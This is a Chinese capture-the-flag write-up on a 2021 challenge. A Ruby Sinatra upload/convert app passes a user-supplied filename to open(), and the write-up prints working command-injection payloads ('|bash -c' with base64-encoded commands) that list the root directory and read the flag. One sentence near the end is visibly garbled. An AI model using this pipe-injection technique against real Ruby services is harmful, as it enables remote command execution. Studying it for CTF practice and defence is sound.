本题是在2021第五空间中出现的
具体的源代码如下:
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
可以看到这道题并没有什么特别复杂的点,就一个open()函数的问题,之前做题的时候查了open()函数的漏洞,没有查到,所以没有做出来,记录一下
漏洞原理
open()函数可以进行命令执行
所以exp为
file=|bash -c “$(echo ‘bHMgLw==’ | base64 -d)” #.png
file=|bash -c “$(echo ‘Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt’ | base64 -d)” #.png
就get flag了
这里有一个小疑问记录一下
为什么这里的命令要用 ( ) 包 裹 , 我 查 到 的 b a s h − c " c m d S t r i n g " 不 太 理 解 这 里 为 什 么 要 加 ()包裹,我查到的bash -c "cmd String"不太理解这里为什么要加 ()包裹,我查到的bash−c"cmdString"不太理解这里为什么要加()
我尝试了一下,如果不加$(),那么ls /这条命令不会执行,而是直接会输出 ls /
所以我猜测加’ '让ls /执行,执行之后的结果再输出
有懂的大佬可以解释一些,谢谢!